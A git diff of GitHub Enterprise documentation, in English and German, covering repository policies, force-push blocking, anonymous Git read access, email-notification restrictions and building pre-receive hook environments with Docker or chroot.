+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.repositories-tab %}
+4. Under "Base permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Under "Base permissions", use the drop-down menu and choose a policy.
+  ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
+
+
+## Enforcing a policy for repository creation
+
+Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. 
+
+If you allow members to create repositories in your organizations, you can choose which types of repositories (public, private, and internal) that members can create.
+
+{% ifversion enterprise-namespace-repo-setting %}
+{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, you{% else %}You{% endif %} can also prevent users from creating repositories owned by their user accounts.
+{% endif %}
+
+{% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see "[Creating an internal repository](/articles/creating-an-internal-repository)."
+
+{% data reusables.organizations.repo-creation-constants %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.repositories-tab %}
+5. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+{% data reusables.enterprise-accounts.repo-creation-policy %}
+{% data reusables.enterprise-accounts.repo-creation-types %}{% ifversion enterprise-namespace-repo-setting %}
+1. Optionally, {% ifversion ghec %}if your enterprise uses {% data variables.product.prodname_emus %} and you want {% endif %}to prevent enterprise members from creating repositories owned by their user accounts, select **Block the creation of user namespace repositories**.
+  ![Screenshot showing the list of disabled options from forking policy](/assets/images/help/business-accounts/restrict-personal-namespace-enabled-setting.png){% endif %}
+
+## Enforcing a policy for forking private or internal repositories
+Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level.
+
+{% ifversion org-owners-limit-forks-creation %}
+People with admin permissions can set a more granular forking policy. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)."
+{% endif %}
+
+{% ifversion enterprise-namespace-repo-setting %}
+{% note %}
+
+**Note:** If {% ifversion ghec %}your enterprise uses {% data variables.product.prodname_emus %} and {% endif %}your "Repository creation" policy prevents enterprise members from creating repositories owned by their user accounts, members will not be allowed to fork a repository in their user accounts, regardless of your "Repository forking" policy.
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.repositories-tab %}
+1. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+2. Under "Repository forking", use the dropdown menu and choose a policy.
+
+  ![Drop-down menu with repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png){% ifversion innersource-fork-policies %}
+5. If forking is enabled, you can specify where users are allowed to fork repositories. Review the information about changing the setting and choose a policy.
+
+    ![Screenshot showing the list of repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-settings.png){% endif %}
+  
+## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories
+
+Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, {% ifversion prevent-org-admin-add-outside-collaborator %}restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to enterprise owners, {% endif %}or allow organization owners to administer the setting on the organization level.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.repositories-tab %}
+3. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", use the drop-down menu and choose a policy.
+
+  {% ifversion ghec %}
+  ![Drop-down menu with outside collaborator invitation policy options](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
+  {% elsif ghes or ghae %}
+  ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)  
+  {% endif %}
+
+## Enforcing a policy for the default branch name
+
+Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+3. On the **Repository policies** tab, under "Default branch name", enter the default branch name that new repositories should use.
+    ![Text box for entering default branch name](/assets/images/help/business-accounts/default-branch-name-text.png)
+4. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**.
+    ![Enforcement checkbox](/assets/images/help/business-accounts/default-branch-name-enforce.png)
+5. Click **Update**.
+    ![Update button](/assets/images/help/business-accounts/default-branch-name-update.png)
+
+## Enforcing a policy for changes to repository visibility
+
+Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository.
+
+If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. If an enterprise owner has restricted member repository creation to private repositories only, then members will only be able to change the visibility of a repository to private. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.repositories-tab %}
+1. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+1. Under "Repository visibility change", use the drop-down menu and choose a policy.
+   ![Drop-down menu with repository visibility policy options](/assets/images/help/business-accounts/repository-visibility-policy-drop-down.png)
+
+## Enforcing a policy for repository deletion and transfer
+
+Across all organizations owned by your enterprise, you can allow members with admin permissions to delete or transfer a repository, restrict repository deletion and transfers to organization owners, or allow owners to administer the setting on the organization level.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.repositories-tab %}
+5. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+
+{% data reusables.enterprise-accounts.repository-deletion-policy %}
+
+## Enforcing a policy for deleting issues
+
+Across all organizations owned by your enterprise, you can allow members with admin access to delete issues in a repository, restrict issue deletion to organization owners, or allow owners to administer the setting on the organization level.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+3. On the **Repository policies** tab, under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. Under "Repository issue deletion", use the drop-down menu and choose a policy.
+
+  ![Drop-down menu with issue deletion policy options](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
+
+{% ifversion ghes or ghae %}
+
+## Enforcing a policy for Git push limits
+
+To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise.
+
+By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.options-tab %}
+4. Under "Repository upload limit", use the drop-down menu and click a maximum object size.
+![Drop-down menu with maximum object size options](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
+5. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories**
+![Enforce maximum object size on all repositories option](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
+
+{% ifversion profile-name-enterprise-setting %}
+
+## Enforcing a policy for the display of member names in your repositories
+
+Across all organizations owned by your enterprise, you can allow members to see a comment author's profile name, in addition to their username, in issues and pull requests for public and internal repositories.
+
+![Commenter's profile name displayed in comment](/assets/images/help/issues/commenter-full-name.png)
+
+{% note %}
+
+**Note:** When this policy is enforced for all repositories in the enterprise, it overrides the organization setting for private repositories. For more information, see "[Managing the display of member names in your organization](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization)".
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.options-tab %}
+4. Under "Allow members to see the comment author's profile name in public and internal repositories", select the dropdown menu and click a policy.
+![Screenshot of Options page with policy drop down emphasized](/assets/images/enterprise/site-admin-settings/comment-authors-profile-name-drop-down.png)
+5. Optionally, to enforce the display of profile names for all repositories in your enterprise, select **Enforce for all repositories on the instance**.
+![Screenshot of "Enforce for all repositories" option emphasized](/assets/images/enterprise/site-admin-settings/enforce-for-all-repositories-option.png)
+
+{% endif %}
+
+## Configuring the merge conflict editor for pull requests between repositories
+
+Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% ifversion ghes or ghae %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% else %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% endif %}
+{% data reusables.enterprise-accounts.options-tab %}
+1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**.
+ ![Drop-down menu with option to disable the merge conflict editor](/assets/images/enterprise/settings/conflict-editor-settings.png)
+
+## Configuring force pushes
+
+Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization.
+
+### Blocking force pushes to all repositories
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.options-tab %}
+4. Under "Force pushes", use the drop-down menu, and click **Allow**, **Block** or **Block to the default branch**.
+![Force pushes dropdown](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
+5. Optionally, select **Enforce on all repositories**, which will override organization and repository level settings for force pushes.
+
+### Blocking force pushes to a specific repository
+
+{% data reusables.enterprise_site_admin_settings.override-policy %}
+
+{% data reusables.enterprise_site_admin_settings.sign-in %}
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.repository-search %}
+{% data reusables.enterprise_site_admin_settings.click-repo %}
+{% data reusables.enterprise_site_admin_settings.admin-top-tab %}
+{% data reusables.enterprise_site_admin_settings.admin-tab %}
+4. Select **Block** or **Block to the default branch** under **Push and Pull**.
+   ![Block force pushes](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
+
+### Blocking force pushes to repositories owned by a user account or organization
+
+Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise.
+
+You can override the default inherited settings by configuring the settings for a user account or organization.
+
+{% data reusables.enterprise_site_admin_settings.sign-in %}
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.search-user-or-org %}
+{% data reusables.enterprise_site_admin_settings.click-user-or-org %}
+{% data reusables.enterprise_site_admin_settings.admin-top-tab %}
+{% data reusables.enterprise_site_admin_settings.admin-tab %}
+5. Under "Repository default settings" in the "Force pushes" section, select
+    - **Block** to block force pushes to all branches.
+    - **Block to the default branch** to only block force pushes to the default branch.
+  ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
+6. Optionally, select **Enforce on all repositories** to override repository-specific settings. Note that this will **not** override an enterprise-wide policy.
+   ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
+
+{% endif %}
+
+{% ifversion ghes %}
+
+## Configuring anonymous Git read access
+
+{% data reusables.enterprise_user_management.disclaimer-for-git-read-access %}
+
+If you have [enabled private mode](/enterprise/admin/configuration/enabling-private-mode) for {% data variables.location.product_location %}, you can allow repository administrators to enable anonymous Git read access to public repositories.
+
+Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.product.product_name %}) will have read access to the repository without authentication.
+
+Anonymous Git read access is disabled by default.{% ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 or ghes = 3.7 %} When you upgrade to {% data variables.product.product_name %} 3.6 or later, anonymous Git read access is automatically disabled at the application level, and `git://` connections on port 9418 will return the following error.
+
+```
+The unauthenticated git protocol on port 9418 is no longer supported.
+```
+
+{% ifversion ghes > 3.5 %}
+
+If you wish to support the unathenticated Git protocol in your environment, you must manually re-enable the feature. Run the following commands after your upgrade:
+
+```ShellSession
+$ sudo ghe-config app.gitauth.git-protocol true
+$ sudo ghe-config-apply
+```
+
+{% endif %}
+
+Anonymous Git read access will be entirely removed in a future release of {% data variables.product.prodname_ghe_server %}. {% data variables.product.company_short %} recommends using SSH instead of the Git protocol. For more information about this change, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server).
+
+{% endif %}
+
+
+
+If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting.
+
+{% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %}
+
+{% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %}
+
+### Setting anonymous Git read access for all repositories
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% ifversion ghes or ghae %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% else %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% endif %}
+{% data reusables.enterprise-accounts.options-tab %}
+4. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**.
+![Anonymous Git read access drop-down menu showing menu options "Enabled" and "Disabled"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
+3. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**.
+![Select checkbox to prevent repository admins from changing anonymous Git read access settings for all repositories on your enterprise](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
+
+### Setting anonymous Git read access for a specific repository
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.repository-search %}
+{% data reusables.enterprise_site_admin_settings.click-repo %}
+{% data reusables.enterprise_site_admin_settings.admin-top-tab %}
+{% data reusables.enterprise_site_admin_settings.admin-tab %}
+6. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**.
+!["Enabled" button under "Enable anonymous Git read access" in danger zone of a repository's site admin settings ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
+7. Review the changes. To confirm, click **Yes, enable anonymous Git read access.**
+![Confirm anonymous Git read access setting in pop-up window](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
+8. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from changing anonymous Git read access**.
+![Select checkbox to prevent repository admins from changing anonymous Git read access for this repository](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
new file mode 100644
index 0000000000..dcc353bba0
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
@@ -0,0 +1,42 @@
+---
+title: Erzwingen von Teamrichtlinien in deinem Unternehmen
+intro: Du kannst Richtlinien für Teams in den Organisationen deines Unternehmens erzwingen oder Richtlinien in jeder Organisation festlegen lassen.
+permissions: Enterprise owners can enforce policies for teams in an enterprise.
+redirect_from:
+  - /articles/enforcing-team-settings-for-organizations-in-your-business-account
+  - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account
+  - /articles/enforcing-team-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/enforcing-team-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/enforcing-team-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-team-policies-in-your-enterprise-account
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Policies
+  - Teams
+shortTitle: Team policies
+ms.openlocfilehash: 310c542d648e869241c019e874d946f227fded5c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104783'
+---
+## Informationen zu Richtlinien für Teams in deinem Unternehmen
+
+Du kannst Richtlinien erzwingen, um zu steuern, wie Mitglieder deines Unternehmens Teams auf {% data variables.product.product_name %} verwalten. Außerdem kannst du Organisationsbesitzern erlauben, Richtlinien für Teams zu verwalten. Weitere Informationen findest du unter [Informationen zu Teams](/organizations/organizing-members-into-teams/about-teams).
+
+## Eine Richtlinie für Teamdiskussionen erzwingen
+
+In allen Organisationen im Besitz deines Unternehmens kannst du Teamdiskussionen aktivieren oder deaktivieren oder Besitzern erlauben, diese Einstellung auf Organisationsebene zu verwalten. Weitere Informationen findest du unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions/).
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %}
+3. Klicke in der linken Seitenleiste auf **Teams**.
+  ![Registerkarte „Teams“ in der Seitenleiste für Unternehmen](/assets/images/help/business-accounts/settings-teams-tab.png)
+4. Überprüfe unter „Team discussions“ (Teamdiskussionen) die Informationen zum Ändern der Einstellung. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Wähle im Dropdownmenü unter „Team discussions“ (Teamdiskussionen) eine Richtlinie aus.
+  ![Dropdownmenü mit Richtlinienoptionen für Teamdiskussionen](/assets/images/help/business-accounts/team-discussion-policy-drop-down.png)
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/index.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/index.md
new file mode 100644
index 0000000000..15a3260f59
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/index.md
@@ -0,0 +1,34 @@
+---
+title: Erzwingen von Richtlinien für dein Unternehmen
+intro: Du kannst in deinem Unternehmen Richtlinien für Organisationen konfigurieren.
+redirect_from:
+  - /enterprise/admin/policies/enforcing-policies-for-your-enterprise
+  - /articles/setting-policies-for-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/setting-policies-for-organizations-in-your-enterprise-account
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+  - Policies
+children:
+  - /about-enterprise-policies
+  - /enforcing-repository-management-policies-in-your-enterprise
+  - /enforcing-team-policies-in-your-enterprise
+  - /enforcing-policies-for-projects-in-your-enterprise
+  - /restricting-email-notifications-for-your-enterprise
+  - /enforcing-policies-for-security-settings-in-your-enterprise
+  - /enforcing-policies-for-dependency-insights-in-your-enterprise
+  - /enforcing-policies-for-github-actions-in-your-enterprise
+  - /enforcing-policies-for-code-security-and-analysis-for-your-enterprise
+  - /enforcing-policies-for-personal-access-tokens-in-your-enterprise
+shortTitle: Enforce policies
+ms.openlocfilehash: 045831c9b6e9632db2f7743f2cf30d965ee3c327
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147854108'
+---
+
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
new file mode 100644
index 0000000000..e0fe95b913
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
@@ -0,0 +1,45 @@
+---
+title: Einschränken von E-Mail-Benachrichtigungen für dein Unternehmen
+intro: 'Du kannst verhindern, dass die Daten deines Unternehmens in persönliche E-Mail-Konten gelangen, indem du die Domänen einschränkst, in denen Mitglieder E-Mail-Benachrichtigungen über Aktivitäten in Organisationen deines Unternehmens erhalten können.'
+product: '{% data reusables.gated-features.restrict-email-domain %}'
+versions:
+  ghec: '*'
+  ghes: '*'
+permissions: Enterprise owners can restrict email notifications for an enterprise.
+type: how_to
+topics:
+  - Enterprise
+  - Notifications
+  - Organizations
+  - Policies
+redirect_from:
+  - /admin/policies/restricting-email-notifications-for-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account-to-approved-domains
+  - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/restricting-email-notifications-for-your-enterprise-account
+shortTitle: Restrict email notifications
+ms.openlocfilehash: f5ef3b4ffd3db266e96d4f7fc90f43cbd226034f
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147066497'
+---
+## Informationen zu E-Mail-Einschränkungen für dein Unternehmen
+
+Wenn du E-Mail-Benachrichtigungen einschränkst, kann von Mitgliedern des Unternehmens nur eine E-Mail-Adresse in einer überprüften oder genehmigten Domäne verwendet werden, um E-Mail-Benachrichtigungen zu Aktivitäten in Organisationen zu erhalten, die zu deinem Unternehmen gehören.
+
+{% data reusables.enterprise-accounts.approved-domains-beta-note %}
+
+Die Domänen können vom Unternehmen geerbt oder für die jeweilige Organisation konfiguriert werden. Weitere Informationen findest du unter [Überprüfen oder Genehmigen einer Domäne für dein Unternehmen](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise) sowie unter [Einschränken von E-Mail-Benachrichtigungen für deine Organisation](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization).
+
+{% data reusables.notifications.email-restrictions-verification %}
+
+Wenn E-Mail-Einschränkungen für ein Unternehmen aktiviert sind, können E-Mail-Einschränkungen für Organisationen, die zum Unternehmen gehören, von Organisationsbesitzern nicht deaktiviert werden. Sollte eine Organisation aufgrund von Änderungen über keine überprüften oder genehmigten Domänen verfügen (entweder geerbt von einem Unternehmen, zu dem die Organisation gehört, oder für die spezifische Organisation), werden E-Mail-Einschränkungen für die Organisation deaktiviert.
+
+## Einschränken von E-Mail-Benachrichtigungen für dein Unternehmen
+
+Um E-Mail-Benachrichtigungen für dein Unternehmen einschränken zu können, muss mindestens eine Domäne für das Unternehmen überprüft oder genehmigt werden. {% ifversion ghec %} Weitere Informationen findest du unter [Überprüfen oder Genehmigen einer Domäne für dein Unternehmen](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise).{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} {% data reusables.organizations.restrict-email-notifications %}
+1. Klicken Sie auf **Speichern**.
diff --git a/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md
new file mode 100644
index 0000000000..d72c609a0d
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md
@@ -0,0 +1,31 @@
+---
+title: About pre-receive hooks
+intro: '*Pre-receive hooks* are scripts that run on the {% data variables.product.prodname_ghe_server %} appliance that you can use to implement quality checks.'
+redirect_from:
+  - /enterprise/admin/developer-workflow/about-pre-receive-hooks
+  - /enterprise/admin/policies/about-pre-receive-hooks
+  - /admin/policies/about-pre-receive-hooks
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Enterprise
+  - Policies
+  - Pre-receive hooks
+---
+When a push occurs, each script runs in an isolated environment and can perform checks on the content of the push. The scripts will cause the push to be accepted if the exit status is 0, or rejected if the exit status is non-zero.
+
+## Usage scenarios
+Use pre-receive hooks to satisfy business rules, enforce regulatory compliance, and prevent certain common mistakes.
+
+Examples of how you can use pre-receive hooks:
+
+- Require commit messages to follow a specific pattern or format, such as including a valid ticket number or being over a certain length.
+- Lock a branch or repository by rejecting all pushes.
+- Prevent sensitive data from being added to the repository by blocking keywords, patterns or file types.
+- Prevent a PR author from merging their own changes.
+
+## Impact on performance and workflows
+Impact to developers and their workflows can be significant and must be considered carefully. Pre-receive hooks that are based on business needs and implemented thoughtfully will provide the most benefit to the organization as a whole.
+
+Pre-receive hooks can have unintended effects on the performance of {% data variables.location.product_location %} and should be carefully implemented and reviewed.
diff --git a/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md
new file mode 100644
index 0000000000..a25ce050e7
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md
@@ -0,0 +1,107 @@
+---
+title: Pre-Receive-Hooks-Umgebung erstellen
+intro: 'Verwende zum Ausführen von Pre-Receive-Hooks die standardmäßige Pre-Receive-Umgebung, oder erstelle eine benutzerdefinierte Umgebung.'
+redirect_from:
+  - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-environment
+  - /enterprise/admin/policies/creating-a-pre-receive-hook-environment
+  - /admin/policies/creating-a-pre-receive-hook-environment
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Policies
+  - Pre-receive hooks
+shortTitle: Pre-receive hook environments
+ms.openlocfilehash: 2c2a31a4092b475170449ba138d6f0798424206b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104779'
+---
+Eine Pre-Receive-Umgebung für {% data variables.product.prodname_ghe_server %} ist eine Linux-[`chroot`](https://en.wikipedia.org/wiki/Chroot)-Umgebung. Da Pre-Receive-Hooks bei jedem Push-Ereignis ausgeführt werden, sollten sie schnell und kompakt sein. Die für solche Überprüfungen benötigte Umgebung ist in der Regel minimal.
+
+{% data variables.product.prodname_ghe_server %} stellt eine Standardumgebung bereit, die folgende Pakete enthält: `awk`, `bash`, `coreutils`, `curl`, `find`, `gnupg`, `grep`, `jq`, `sed`.
+
+Wenn eine bestimmte Anforderung vorliegt, die von dieser Umgebung nicht erfüllt wird, beispielsweise die Unterstützung einer bestimmten Sprache, kannst du deine eigene 64-Bit-Linux-`chroot`-Umgebung erstellen und hochladen.
+
+## Pre-Receive-Hook-Umgebung mit Docker erstellen
+
+Du kannst ein Linux-Containerverwaltungstool zum Erstellen einer Pre-Receive-Hook-Umgebung verwenden. In diesem Beispiel werden [Alpine Linux](http://www.alpinelinux.org/) und [Docker](https://www.docker.com/) verwendet.
+
+{% data reusables.linux.ensure-docker %}
+2. Erstelle die Datei `Dockerfile.alpine-3.3`, die diese Informationen enthält:
+
+   ```
+   FROM gliderlabs/alpine:3.3
+   RUN apk add --no-cache git bash
+   ```
+3. Erstelle aus dem Arbeitsverzeichnis, das `Dockerfile.alpine-3.3` enthält, ein Image:
+
+   ```shell
+   $ docker build -f Dockerfile.alpine-3.3 -t pre-receive.alpine-3.3 .
+   > Sending build context to Docker daemon 12.29 kB
+   > Step 1 : FROM gliderlabs/alpine:3.3
+   >  ---> 8944964f99f4
+   > Step 2 : RUN apk add --no-cache git bash
+   >  ---> Using cache
+   >  ---> 0250ab3be9c5
+   > Successfully built 0250ab3be9c5
+   ```
+4. Erstelle einen Container:
+
+   ```shell
+   $ docker create --name pre-receive.alpine-3.3 pre-receive.alpine-3.3 /bin/true
+   ```
+5. Exportiere den Docker-Container in eine `gzip`-komprimierte `tar`-Datei:
+
+   ```shell
+   $ docker export pre-receive.alpine-3.3 | gzip > alpine-3.3.tar.gz
+   ```
+
+   Diese Datei `alpine-3.3.tar.gz` kann auf die {% data variables.product.prodname_ghe_server %}-Appliance hochgeladen werden.
+
+## Pre-Receive-Hook-Umgebung mit chroot erstellen
+
+1. Erstelle eine Linux-`chroot`-Umgebung.
+2. Erstelle eine `gzip`-komprimierte `tar`-Datei des `chroot`-Verzeichnisses.
+   ```shell
+   $ cd /path/to/chroot
+   $ tar -czf /path/to/pre-receive-environment.tar.gz .
+   ```
+
+   {% note %}
+
+   **Hinweise:**
+   - Schließe keine führenden Verzeichnispfade von Dateien wie beispielsweise `/path/to/chroot` innerhalb des tar-Archivs ein.
+   - `/bin/sh` muss existieren und als Einstiegspunkt in die chroot-Umgebung ausführbar sein.
+   - Im Gegensatz zu herkömmlichen Chroots ist das `dev`-Verzeichnis in der chroot-Umgebung für Pre-Receive-Hooks nicht erforderlich.
+
+   {% endnote %}
+
